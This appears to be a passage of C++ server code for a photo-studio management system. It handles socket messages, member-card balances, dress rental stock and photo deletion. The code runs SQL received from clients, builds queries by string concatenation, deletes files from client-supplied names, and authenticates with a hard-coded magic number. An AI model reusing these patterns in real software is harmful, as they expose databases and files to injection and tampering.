/********************************************************************/ /* */ /* CONNECTSOCKET.CPP */ /* */ /* Implementation of the Connect Socket. */ /* This class is a part of the CConnectThread which handles */ /* socket connections. Incomming data is processed in OnReceive */ /* */ /* Programmed by LYFZ van der Meer */ /* Based partially on and inspired by FileZilla Server. */ /* */ /* http://www.LYFZvandermeer.nl */ /* */ /* Last updated: 15 july 2002 */ /* */ /********************************************************************/ //在ConnectSocket.cpp文件中实现连接套接字的创建,该类是CConnectThread类的 //一部分,收到数据由函数OnReceive()完成处理。 movenext 4096 #include "stdafx.h" #include "DBServer.h" #include "theDBServer.h" #include "ConnectSocket.h" #include "ConnectThread.h" #include "DBServerDlg.h" #include "DataSocket.h" #include "mysqldata.h" #include "./include/netMain.h" #include "./include/protocolhdr.h" #include "./include/struct_def.h" #include "Lzari.h" #include "MyLock.h" #include "Shlwapi.h" #include "CalendarConvert.h" #include "AddUserDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif extern CDBServerDlg *g_pMainWnd; extern CtheDBServer theServer; extern BOOL EncryptFile2(BYTE *buffer, DWORD leng, PCHAR szPassword); extern CtheDBServer *g_pWndServer; extern void DeleteDirectory(CString strDir); extern BYTE *g_pSkinData; extern DWORD g_SkinLeng; extern CString g_mainpath; extern CDatabase g_db; extern bool Unlock(HANDLE mutex); extern int FindArray(CStringArray *pArray, CString Str); CStringArray g_conniparray; CStringArray g_connidarray; extern void DeCodelong1(long &value1, long &value2, long &value3, long &value4, long &value5, long &value6, long &value7, long &value8); extern void DeCodelong2(long &value1, long &value2, long &value3, long &value4, long &value5, long &value6, long &value7, long &value8); extern void DeCodelong3(long &value1, long &value2, long &value3, long &value4, long &value5, long &value6, long &value7, long &value8); extern void DeCodelong4(long &value1, long &value2, long &value3, long &value4, long &value5, long &value6, long &value7, long &value8); extern void DeCodePicCount(long &value1, long &value2); extern CStringArray g_filedatearray; extern CStringArray g_filedatearraynew; BOOL CConnectSocket::MyExecuteSQL(CString sql) { try { if(sql.Find ("refresh balance")!=-1) { CString str="refresh balance memberreg3"; if(sql.Find (str)!=-1) { sql=sql.Right (sql.GetLength ()-str.GetLength ()); UpdateMemberReg3(sql);return 1; } str="refresh balance memberreg4"; if(sql.Find (str)!=-1) { sql=sql.Right (sql.GetLength ()-str.GetLength ()); UpdateMemberReg4(sql);return 1; } str="refresh balance memberreg2"; if(sql.Find (str)!=-1) { sql=sql.Right (sql.GetLength ()-str.GetLength ()); Updatememberreg2(sql);return 1; } return 1; } else if(sql.Find ("refresh singleincomemoney")!=-1) { CString str="refresh singleincomemoney"; sql.Delete(0, str.GetLength()); Updatesingleincomemoney(sql); return 1; } else if(sql.Find ("gentakecontent:")!=-1) { int pos=sql.Find (":"); CString id=sql.Right(sql.GetLength ()-pos-1); CRecordset myset(m_pConndb); sql="select count(*) as cot from [dindansp3] where [id]='"+id+"'"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); if(atoi(sql)>0)return 1; CArrayg_List1array; sql="select count(*) as cot from dindansp where [id]='"+id+"'"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atoi(sql);if(count==0)return 1; g_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;rsSt.m_strFilter ="[id]='"+id+"'"; rsSt.Open(); int ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.spid) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.shuliang) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); for(ii=0; iiExecuteSQL (sql); } return 1; } else if(sql.Find ("writelog:")!=-1) { int pos=sql.Find (":"); CString content=sql.Right(sql.GetLength ()-pos-1); CTime tm=CTime::GetCurrentTime (); CString date=tm.Format ("%Y-%m-%d"); CString datetime=tm.Format ("%Y-%m-%d %H:%M:%S"); sql.Format ("insert into [log]([date],[datetime],[content])values('%s','%s','%s')",date,datetime,content); m_pConndb->ExecuteSQL (sql); return 1; } else if(sql.Find ("deletephotos")!=-1) { int pos; CString str="deletephotos"; sql.Delete(0, str.GetLength()); CString id; CString g_path1; CString g_path2; CString g_path3; CString g_path4; char server[50]; DWORD leng=50; memset(server, 0, 50); ::GetComputerName (server, &leng); g_path1=g_path2=g_path3=g_path4=server; g_path1="\\\\"+g_path1+"\\客户原片(管理软件)$"; g_path2="\\\\"+g_path2+"\\修好的片(管理软件)$"; g_path3="\\\\"+g_path3+"\\精修好的片(管理软件)$"; g_path4="\\\\"+g_path4+"\\设计好的片(管理软件)$"; CString deldir; if(sql.GetAt(0)=='0')deldir=g_path1; else if(sql.GetAt(0)=='1')deldir=g_path2; else if(sql.GetAt(0)=='2')deldir=g_path3; else if(sql.GetAt(0)=='3')deldir=g_path4; sql.Delete(0, 1); pos=sql.Find(";"); id=sql.Left(pos); if(id.GetLength()<12)return 1; sql.Delete(0, pos+1); CString path; if(sql.GetLength ()>=3) { if(sql.Left(3)=="all") { path.Format("%s\\%s\\%s", deldir, id, sql.Right(sql.GetLength ()-3)); DeleteDirectory(path); return 1; } } str=sql; str.TrimLeft (","); str.TrimRight (","); if(str.IsEmpty ())return 1; pos=str.Find (','); while(pos!=-1) { path.Format("%s\\%s\\s%s.jpg", deldir, id, str.Left (pos));::DeleteFile(path); path.Format("%s\\%s\\m%s.jpg", deldir, id, str.Left (pos));::DeleteFile(path); path.Format("%s\\%s\\%s.jpg", deldir, id, str.Left (pos));::DeleteFile(path); path.Format("%s\\%s\\%s.NEF", deldir, id, str.Left (pos));::DeleteFile(path); path.Format("%s\\%s\\%s.CR2", deldir, id, str.Left (pos));::DeleteFile(path); path.Format("%s\\%s\\%s.raw", deldir, id, str.Left (pos));::DeleteFile(path); str=str.Right (str.GetLength ()-pos-1); pos=str.Find (','); } path.Format("%s\\%s\\s%s.jpg", deldir, id, str);::DeleteFile(path); path.Format("%s\\%s\\m%s.jpg", deldir, id, str);::DeleteFile(path); path.Format("%s\\%s\\%s.jpg", deldir, id, str);::DeleteFile(path); path.Format("%s\\%s\\%s.NEF", deldir, id, str);::DeleteFile(path); path.Format("%s\\%s\\%s.CR2", deldir, id, str);::DeleteFile(path); path.Format("%s\\%s\\%s.raw", deldir, id, str);::DeleteFile(path); return 1; } else if(sql.Find ("insert into sendregdelay")!=-1) { static DWORD ticks=::GetTickCount(); CTime tm=CTime::GetCurrentTime (); if(::GetTickCount()-ticks<1000) tm+=CTimeSpan(0,0,0,3); ticks=::GetTickCount(); sql.Replace("777888", tm.Format ("%Y%m%d%H%M%S")); m_pConndb->ExecuteSQL (sql); return 1; } m_pConndb->ExecuteSQL (sql); return 1; } catch(CDBException * e) { WriteError(sql+"操作数据库失败"+e->m_strError); return 0; } } void CConnectSocket::DeleteMemberReg(CString str) { int pos=str.Find ("###"); CString sql,id; sql.Format ("select [id] from [memberreg] where %s", str.Left (pos)); CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("id", id); myset.Close(); sql.Format ("delete from [memberreg] where [id]=%s", id); MyExecuteSQL (sql); str=str.Right (str.GetLength ()-pos-3); UpdateMemberCard(str); } void CConnectSocket::Updatememberreg2(CString memberno) { int pos=memberno.Find ("&&&"); CString memberno2, m_id; if(pos!=-1) { memberno2=memberno.Left (pos); m_id=memberno.Right (memberno.GetLength ()-pos-3); } else { pos=memberno.Find (";"); if(pos!=-1) { memberno2=memberno.Left (pos); m_id=memberno.Right (memberno.GetLength ()-pos-1); } else memberno2=memberno; } UpdateMemberCard(memberno2); } void CConnectSocket::UpdateMemberCard(CString memberno) { int pos=memberno.Find ("###"); if(pos!=-1) { while(pos!=-1) { UpdateMemberCard(memberno.Left (pos)); memberno=memberno.Right (memberno.GetLength ()-pos-3); pos=memberno.Find ("###"); } UpdateMemberCard (memberno); return; } CString money,money2; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from [memberreg] where [memberno]='"+memberno+"' "; #else CString sql="select sum(money) as cot from [memberreg] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast(point as float)) as cot from [memberreg2] where [memberno]='"+memberno+"' "; #else sql="select sum(point) as cot from [memberreg2] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money2); myset.Close(); CString str; str.Format ("%0.2f", atof(money)-atof(money2)); sql.Format ("update [membermanage] set [money]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL (sql); } void CConnectSocket::Updatesingleincomemoney(CString id) { CString money,money2; CRecordset myset(m_pConndb); CString sql; sql.Format("select money from [singleincome] where [id]=%s", id); myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("money", money); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast(money as float)) as cot from [singleincomemoney] where [id]='"+id+"' "; #else sql="select sum(money) as cot from [singleincomemoney] where [id]='"+id+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money2); myset.Close(); CString payed,balance; payed.Format ("%0.1f", atof(money2)); balance.Format ("%0.1f", atof(money)-atof(money2)); sql.Format ("update [singleincome] set [payed]='%s',[balance]='%s' where [id]=%s ", payed, balance, id); MyExecuteSQL (sql); } void CConnectSocket::UpdateMemberReg3(CString memberno) { CString money,money2,money3,money4; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot,sum(cast(money2 as float)) as cot2 from [memberreg3] where [memberno]='"+memberno+"' "; #else CString sql="select sum(money) as cot from [memberreg3] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.GetFieldValue ("cot2", money4); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='"+memberno+"' "; #else sql="select sum(money) as cot from [memberreg4] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money2); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast(money as float)) as cot from [membercard3usereg] where [memberno]='"+memberno+"' "; #else sql="select sum(money) as cot from [membercard3usereg] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money3); myset.Close(); CString str; str.Format ("%d", (atoi(money)+atoi(money4)-atoi(money2))-atoi(money3)); sql.Format ("update [membermanage] set [balance]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL (sql); } void CConnectSocket::UpdateMemberReg4(CString memberno) { int pos=memberno.Find (";"); if(pos==-1)return; CString maincardno,card2no; maincardno=memberno.Left (pos);UpdateMemberReg3(maincardno); card2no=memberno.Right (memberno.GetLength ()-pos-1); CString money,money2; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='"+maincardno+"' and [card2no]='"+card2no+"'"; #else CString sql="select sum(money) as cot from [memberreg4] where [memberno]='"+maincardno+"' and [card2no]='"+card2no+"'"; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast(money as float)) as cot from [membercard3childusereg] where [memberno]='"+card2no+"' "; #else sql="select sum(money) as cot from [membercard3childusereg] where [memberno]='"+card2no+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money2); myset.Close(); CString str; str.Format ("%d", atoi(money)-atoi(money2)); sql.Format ("update [membercard3] set [balance]='%s' where [memberno]='%s' and [card2no]='%s'", str, maincardno, card2no); MyExecuteSQL (sql); } void CConnectSocket::UpdateMemberCard2(CString memberno) { CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from [memberregblue] where [memberno]='"+memberno+"' "; #else CString sql="select sum(money) as cot from [memberregblue] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); CString str; str.Format ("%0.2f", atof(money)); sql.Format ("update [membermanageblue] set [money]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL (sql); UpdateMemberCard2Balance(memberno); } void CConnectSocket::UpdateMemberCard3(CString memberno) { CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from [memberreg2blue] where [memberno]='"+memberno+"' "; #else CString sql="select sum(money) as cot from [memberreg2blue] where [memberno]='"+memberno+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); CString str; str.Format ("%0.2f", atof(money)); sql.Format ("update [membermanageblue] set [money2]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL (sql); UpdateMemberCard2Balance(memberno); } void CConnectSocket::UpdateMemberCard2Balance(CString memberno) { CString money,money2,money3; CRecordset myset(m_pConndb); CString sql="select money,money2 from [membermanageblue] where [memberno]='"+memberno+"' "; myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("money", money); myset.GetFieldValue ("money2", money2); } myset.Close(); CString str; str.Format ("%0.2f", atof(money)-atof(money2)); sql.Format ("update [membermanageblue] set [money3]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL (sql); } void CConnectSocket::UpdateDressBalance(CString dressno) {//库存=件数-出租数-出售数 //出租数=出租未回数 CString hirecount,washcount,salecount,balance,count; CTime curtm=CTime::GetCurrentTime (); CString today=curtm.Format ("%Y-%m-%d"); CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #else CString sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", hirecount); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #else sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", washcount); myset.Close(); #ifdef SQLSERVER_VERSION sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [hireorsale]='售'"; #else sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [hireorsale]='售'"; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", salecount); myset.Close(); sql="select [count] from [dressinfo] where [no]='"+dressno+"'"; myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) myset.GetFieldValue ("count", count); myset.Close(); balance.Format ("%d", atoi(count)-atoi(hirecount)-atoi(salecount)-atoi(washcount)); hirecount.Format ("%d", atoi(hirecount)); salecount.Format ("%d", atoi(salecount)); washcount.Format ("%d", atoi(washcount)); sql="update [dressinfo] set [hirecount]='"+hirecount+"',[washcount]='"+washcount+"',[salecount]='"+salecount+"',[balance]='"+balance+"' where [no]='"+dressno+"'"; MyExecuteSQL (sql); } void CConnectSocket::UpdateBuKuan(CString id) { try { CString memberno; int pos=id.Find ("$$$"); if(pos!=-1) { memberno=id.Right (id.GetLength ()-pos-3); id=id.Left (pos); } CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from dindanbukuan where id='"+id+"' "; #else CString sql="select sum(money) as cot from dindanbukuan where id='"+id+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); sql.Format ("update dindan set payed5='%s' where id='%s' ", money, id); MyExecuteSQL (sql); if(!memberno.IsEmpty ()) { UpdateMemberCard(memberno); } } catch(...) { } } void CConnectSocket::UpdateBurnCdReg(CString id) { try { CString bruncount; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from burncdreg where id='"+id+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", bruncount); myset.Close(); sql.Format ("update dindan set bruncount='%s' where id='%s' ", bruncount, id); MyExecuteSQL (sql); } catch(...) { } } void CConnectSocket::UpdateBuKuan2(CString id) { try { int pos=id.Find ("@@@"); if(pos!=-1) { id=id.Left (pos); } CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql="select sum(cast(money as float)) as cot from dindanbukuan2 where id='"+id+"' "; #else CString sql="select sum(money) as cot from dindanbukuan2 where id='"+id+"' "; #endif myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", money); myset.Close(); sql.Format ("update dindan set payed4='%s' where id='%s' ", money, id); MyExecuteSQL (sql); } catch(...) { } } void CConnectSocket::GetOldStatus2(CArray*array, CString autoid, CString &status1, CString &status2, CString &status3, CString &status4, CString &oldno) { try { status1="未完成"; status2="未取"; status3=""; status4=""; oldno=""; for(int i=0; iGetSize (); i++) { if(autoid==array->ElementAt (i).ElementAt (0)) { status1=array->ElementAt (i).ElementAt (1); status2=array->ElementAt (i).ElementAt (2); status3=array->ElementAt (i).ElementAt (3); status4=array->ElementAt (i).ElementAt (4); oldno=array->ElementAt (i).ElementAt (5); return; } } } catch(...) { } } /********************************************************************/ /* */ /* Function name : CConnectSocket::CConnectSocket */ /* Description : Constructor */ /* */ /********************************************************************/ CConnectSocket::CConnectSocket() { m_bLoggedon = FALSE; m_bRenameFile = FALSE; m_pDataSocket = NULL; m_nRemotePort = -1; m_dwRestartOffset = 0; m_bPassiveMode = FALSE; m_reved=0; m_dateleng=0; m_pRevBuf=NULL; m_pThread=NULL; for(int i=0; iPostThreadMessage(WM_QUIT,0,0); TRACE0("CConnectSocket destroyed.\n"); if(m_pRevBuf)delete []m_pRevBuf; } // if(m_pThread) WriteLogin("内存释放"); for(int i=0; iPostThreadMessage(WM_THREADMSG, 1, 0); TRACE("CConnectSocket() OnClose()\n"); CSocket::OnClose(nErrorCode); } catch(...) { } } #define BUFFERSIZE 4096 //#define BUFFERSIZE 102600 /********************************************************************/ /* */ /* Function name : OnReceive */ /* Description : Called by the framework to notify this socket */ /* that there is data in the buffer. */ /* */ /********************************************************************/ //由主窗口调用通知套接字缓冲区中有数据要接收 void CConnectSocket::OnReceive(int nErrorCode) { // WriteLogin("接收"); TCHAR buff[BUFFERSIZE]; //接收数据并放到缓冲区 int nRead = Receive(buff, BUFFERSIZE); switch (nRead) { case 0: // WriteLogin("close"); Close(); break; case SOCKET_ERROR: if (GetLastError() != WSAEWOULDBLOCK) { TCHAR szError[256]; wsprintf(szError, "OnReceive error: %d", GetLastError()); WriteLogin(szError); } break; default: if (nRead != SOCKET_ERROR && nRead != 0) { ((CConnectThread *)AfxGetThread())->IncReceivedBytes(nRead); TMessageHeader *pMessageHeader = (TMessageHeader *)buff; /*网络字节顺序的转换*/ ntohs(pMessageHeader->wHeaderFlag); ntohs(pMessageHeader->wMessageId); ntohs(pMessageHeader->wMessageSubId); ntohl(pMessageHeader->dwDataLen); ntohs(pMessageHeader->wCheckSum); ntohl(pMessageHeader->wReserve); if(pMessageHeader->wMessageId ==MSG_LOGIN_REQ && m_bSendOK) { // WriteLogin("login"); WORD wMessageId = MSG_LOGIN_RESP; LOGIN_RESULT_STRU tLoginResult = {0}; tLoginResult.tCommonMsg.dwConnectionID = 0; tLoginResult.tCommonMsg.wMessageId = wMessageId; tLoginResult.byResult = LOGIN_RESULT_SUC; tLoginResult.dwUserID = 0; tLoginResult.byStatus = USER_STATUS_ONLINE ; DWORD dateleng=pMessageHeader->dwDataLen+MESSAGE_HEADER_LEN; DWORD dwDataLen = sizeof(LOGIN_RESULT_STRU); TMessageHeader tHeader = {0}; tHeader.wMessageId = wMessageId; tHeader.dwDataLen = dwDataLen; net_Send(&tHeader, (void *)&tLoginResult, dwDataLen); } else //if(pMessageHeader->wMessageId ==MSG_CHATMESSAGE_REQ) { /* char *pDataBuf = (char *)buff + MESSAGE_HEADER_LEN; TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf; DWORD dwConnectionID = pChatMessage->tCommonMsg.dwConnectionID; processChatMessageRequest((void *)pChatMessage);*/ // 结束字符串 // WriteLogin("receive"); if(pMessageHeader->wHeaderFlag==MESSAGE_HEADER_FLAG && pMessageHeader->wMessageId ==MSG_CHATMESSAGE_REQ) { m_bSendOK=0; if(m_pRevBuf)delete []m_pRevBuf;m_pRevBuf=NULL;m_reved=0;m_dateleng=0; m_dateleng=pMessageHeader->dwDataLen+MESSAGE_HEADER_LEN; m_pRevBuf=new BYTE[m_dateleng]; //WriteLogin("开始接收"); } if(m_dateleng==0)return; ::memcpy(m_pRevBuf+m_reved, buff, min(nRead, m_dateleng-m_reved)); m_reved+=min(nRead, m_dateleng-m_reved); // CString ss; // ss.Format ("接收:%d/%d", m_reved, m_dateleng); // WriteLogin(ss); if(m_reved>=m_dateleng) { m_bSendOK=1; // WriteLogin("接收完成"); char *pDataBuf = (char *)m_pRevBuf + MESSAGE_HEADER_LEN; TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf; m_reved=0;m_dateleng=0; processChatMessageRequest((void *)pChatMessage); } } } break; } CSocket::OnReceive(nErrorCode); } /********************************************************************/ /* */ /* Function name: GetRxCommand */ /* Description : Get command from receiver buffer. */ /* */ /********************************************************************/ //从接收缓冲区获得命令 BOOL CConnectSocket::GetRxCommand(CString &strCommand, CString &strArguments) { return FALSE; } /********************************************************************/ /* */ /* Function name: GetRxLine */ /* Description : Parse complete command line */ /* */ /********************************************************************/ //解析整个命令行 void CConnectSocket::GetRxLine() { } /********************************************************************/ /* */ /* Function name: OnConnect */ /* Description : Called by the framework to notify this connecting */ /* socket that its connection attempt is completed. */ /* */ /********************************************************************/ void CConnectSocket::OnConnect(int nErrorCode) { CSocket::OnConnect(nErrorCode); } /********************************************************************/ /* */ /* Function name: HasConnectionDropped */ /* Description : Check if connection has been dropped. */ /* Used to detect if client has crashed. */ /* */ /********************************************************************/ BOOL CConnectSocket::HasConnectionDropped(void) { try { BOOL bConnDropped = FALSE; INT iRet = 0; BOOL bOK = TRUE; if (m_hSocket == INVALID_SOCKET) return TRUE; struct timeval timeout = { 0, 0 }; fd_set readSocketSet; FD_ZERO(&readSocketSet); FD_SET(m_hSocket, &readSocketSet); iRet = ::select(0, &readSocketSet, NULL, NULL, &timeout); bOK = (iRet > 0); if(bOK) { bOK = FD_ISSET(m_hSocket, &readSocketSet); } if(bOK) { CHAR szBuffer[1] = ""; iRet = ::recv(m_hSocket, szBuffer, 1, MSG_PEEK); bOK = (iRet > 0); if(!bOK) { INT iError = ::WSAGetLastError(); bConnDropped = (( iError == WSAENETRESET) || (iError == WSAECONNABORTED) || (iError == WSAECONNRESET) || (iError == WSAEINVAL) || (iRet == 0)); } } return(bConnDropped); } catch(...) { } return 1; } /********************************************************************/ /* */ /* Function name: SendResponse */ /* Description : Send response to client. */ /* */ /********************************************************************/ //发送响应给客户端 BOOL CConnectSocket::SendResponse(LPCTSTR pstrFormat, ...) { return TRUE; } //从客户端解析并执行命令 void CConnectSocket::ParseCommand() { } /********************************************************************/ /* */ /* Function name: FireStatusMessage */ /* Description : Fire status message. */ /* */ /********************************************************************/ void CConnectSocket::FireStatusMessage(LPCTSTR lpszStatus, int nType) { try { g_pWndServer->AddTraceLine(nType, "[%d] %s", m_pThread->m_nThreadID, lpszStatus); } catch(...) { } } /********************************************************************/ /* */ /* Function name: CreateDataConnection */ /* Description : Create data transfer connection. */ /* */ /********************************************************************/ BOOL CConnectSocket::CreateDataConnection(int nTransferType, LPCTSTR lpszData) { return TRUE; } /********************************************************************/ /* */ /* Function name: DestroyDataConnection */ /* Description : Close data transfer connection. */ /* */ /********************************************************************/ void CConnectSocket::DestroyDataConnection() { } unsigned long CConnectSocket::net_Send(IN void *pHeader, IN void *pMessage, IN unsigned long ulDataLen) { try { unsigned long ulSendLen = 0; unsigned long ulBufLen = 0; TMessageHeader *pSendHeader = (TMessageHeader *)pHeader; ulBufLen = MESSAGE_HEADER_LEN + ulDataLen; char *pSendBuf = new char[ulBufLen]; memset(pSendBuf, 0, ulBufLen); TMessageHeader *pMessageHeader = (TMessageHeader *)pSendBuf; pMessageHeader->byVersion = 101; pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG; pMessageHeader->wMessageId = pSendHeader->wMessageId; pMessageHeader->wMessageSubId = pSendHeader->wMessageSubId; pMessageHeader->dwDataLen = ulDataLen; pMessageHeader->wReserve = 0; memcpy((void *)(pSendBuf+MESSAGE_HEADER_LEN), pMessage, ulDataLen); // convert network word htons(pMessageHeader->wHeaderFlag); htons(pMessageHeader->wMessageId); htons(pMessageHeader->wMessageSubId); htonl(pMessageHeader->dwDataLen); htons(pMessageHeader->wCheckSum); htonl(pMessageHeader->wReserve); //Send the message //判断连接是否在活动状态 // AfxMessageBox("send"); if (HasConnectionDropped()) { FireStatusMessage("Could not send reply, disconnected.", 2); Close(); // 通知线程已经停止,关闭连接 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); // AfxMessageBox("send fail 1"); return FALSE; } int nBytes = CSocket::Send((void *)pSendBuf, ulBufLen); if (nBytes == SOCKET_ERROR) { Close(); FireStatusMessage("Could not send reply, disconnected.", 2); //通知线程连接已经关闭 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); //AfxMessageBox("send fail 2"); return FALSE; } ((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes); //AfxMessageBox("send ok"); delete [] pSendBuf; pSendBuf = NULL; return nBytes; } catch(...) { } return 0; } unsigned long CConnectSocket::net_Send2(IN void *pMessage, IN unsigned long ulDataLen) { try { if (HasConnectionDropped()) { FireStatusMessage("Could not send reply, disconnected.", 2); Close(); // 通知线程已经停止,关闭连接 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); // AfxMessageBox("send fail 1"); return FALSE; } int nBytes = CSocket::Send((void *)pMessage, ulDataLen); if (nBytes == SOCKET_ERROR) { Close(); FireStatusMessage("Could not send reply, disconnected.", 2); //通知线程连接已经关闭 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); return FALSE; } ((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes); return nBytes; } catch(...) { } return 0; } void FillHeader(BYTE *pSendData, WORD wMessageId, DWORD dwDataLen) { TMessageHeader *pMessageHeader =(TMessageHeader*)pSendData; pMessageHeader->byVersion = 101; pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG; pMessageHeader->wMessageId = wMessageId; pMessageHeader->wMessageSubId = 0; pMessageHeader->dwDataLen = dwDataLen; pMessageHeader->wReserve = 0; /* convert network word */ htons(pMessageHeader->wHeaderFlag); htons(pMessageHeader->wMessageId); htons(pMessageHeader->wMessageSubId); htonl(pMessageHeader->dwDataLen); htons(pMessageHeader->wCheckSum); htonl(pMessageHeader->wReserve); } CString g_curip; BOOL g_bLogindataprocess=0; void CConnectSocket::processChatMessageRequest(void *pChatMsg) { MyLock lock("processChatMessageRequest"); CString str; CString g_ret; try { if( NULL == pChatMsg ) return; TCHAT_MESSAGE_STRU *ptChatMessage = (TCHAT_MESSAGE_STRU *)pChatMsg; DWORD dwUserID = ptChatMessage->tCommonMsg.dwConnectionID; if(ptChatMessage->length[98]!=987123768) { char pdata[5]; net_Send2(pdata, 5); return; } int nMessageLen = ptChatMessage->wMessageLen; if( nMessageLen > 0 ) { DWORD dwFromUserID = dwUserID; DWORD dwToUserID = ptChatMessage->dwToUserID; WORD wMessageId = MSG_CHATMESSAGE_RESP; DWORD dwDataLen; BYTE *pSendData; TCHAT_MESSAGE_STRU *pChatMessage; if(dwToUserID!=15 && dwToUserID!=100 && dwToUserID!=22)//信息服务器 { if(ptChatMessage->length[99]==-1)// || ptChatMessage->length[99]>=dbarray.GetSize ()) { m_pConndb=m_pdb; // CString ss; // ss.Format("x:%d", (DWORD)m_pConndb); // AfxMessageBox(ss); } else { long pos=ptChatMessage->length[99]; long d[8];double f[8]; TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T(""); //运行自定义函数 int ret=ytSoftKey.calyearpos(&pos,&d[1],&d[2],&d[3],&d[4],&d[5],&d[6],&d[7], &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7], s0,s1,s2,s3,s4,s5,s6,s7); if(ret!=0 && ret!=-43) { return; } m_pConndb=m_dbarray.ElementAt (pos); // CString ss; // ss.Format("y:%d", (DWORD)m_pConndb); // AfxMessageBox(ss); } } else m_pConndb=m_pdb; if(m_pConndb) { if(dwToUserID==1) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive 